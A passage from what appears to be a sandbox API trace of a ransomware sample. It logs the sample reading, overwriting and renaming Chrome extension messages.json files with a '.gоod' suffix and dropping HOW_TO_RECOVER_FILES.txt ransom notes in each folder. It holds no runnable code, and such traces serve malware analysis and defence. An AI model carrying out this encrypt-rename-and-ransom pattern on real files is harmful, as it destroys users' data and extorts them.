Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0267.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0267.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85eb5c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85edb92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9be61203, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0267.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0267.903] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.gоod")) returned 1 [0267.904] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0267.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0267.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0268.012] GetFileType (hFile=0x828) returned 0x1 [0268.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0268.012] GetFileType (hFile=0x828) returned 0x1 [0268.012] WriteFile (in: hFile=0x828, lpBuffer=0x396aea8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x396aea8*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0268.016] CloseHandle (hObject=0x828) returned 1 [0268.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0268.016] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml", lpFilePart=0x0) returned 0x7b [0268.016] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86014fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608a39, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8608a39, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0268.017] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86014fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608a39, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8608a39, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.017] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8608a39, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608942, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0268.017] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.017] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0268.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0268.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0268.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0268.017] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml", lpFilePart=0x0) returned 0x7b [0268.017] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86014fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608a39, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8608a39, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0268.017] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe86014fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608a39, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8608a39, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.018] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8608a39, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608942, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0268.018] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8608a39, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608942, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0268.018] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0268.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0268.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0268.018] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json", lpFilePart=0x0) returned 0x89 [0268.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0268.018] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x397ae78 | out: lpFileInformation=0x397ae78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8608a39, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608942, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x183)) returned 1 [0268.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0268.018] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json", lpFilePart=0x0) returned 0x89 [0268.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0268.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0268.019] GetFileType (hFile=0x828) returned 0x1 [0268.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0268.019] GetFileType (hFile=0x828) returned 0x1 [0268.019] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x183 [0268.019] ReadFile (in: hFile=0x828, lpBuffer=0x397b3b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x397b3b8*, lpNumberOfBytesRead=0x209ebc98*=0x183, lpOverlapped=0x0) returned 1 [0268.020] CloseHandle (hObject=0x828) returned 1 [0268.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json", lpFilePart=0x0) returned 0x89 [0268.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0268.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0268.231] GetFileType (hFile=0x828) returned 0x1 [0268.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0268.231] GetFileType (hFile=0x828) returned 0x1 [0268.231] WriteFile (in: hFile=0x828, lpBuffer=0x3a31e90*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3a31e90*, lpNumberOfBytesWritten=0x209ebba8*=0x190, lpOverlapped=0x0) returned 1 [0268.231] CloseHandle (hObject=0x828) returned 1 [0268.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json", lpFilePart=0x0) returned 0x89 [0268.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0268.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0268.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8608a39, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8608942, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9c182618, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0268.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0268.232] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.gоod")) returned 1 [0268.232] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0268.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0268.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0268.233] GetFileType (hFile=0x828) returned 0x1 [0268.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0268.233] GetFileType (hFile=0x828) returned 0x1 [0268.234] WriteFile (in: hFile=0x828, lpBuffer=0x3a357c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3a357c8*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0268.234] CloseHandle (hObject=0x828) returned 1 [0268.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0268.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn", lpFilePart=0x0) returned 0x7b [0268.234] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861749a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8619ba9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8619ba9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0268.235] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861749a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8619ba9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8619ba9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.235] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8619ba9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe861c1c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0268.235] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.235] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0268.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0268.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0268.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0268.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn", lpFilePart=0x0) returned 0x7b [0268.236] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861749a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8619ba9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8619ba9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0268.236] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe861749a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8619ba9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8619ba9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.236] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8619ba9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe861c1c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0268.236] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8619ba9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe861c1c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0268.236] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0268.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0268.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0268.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json", 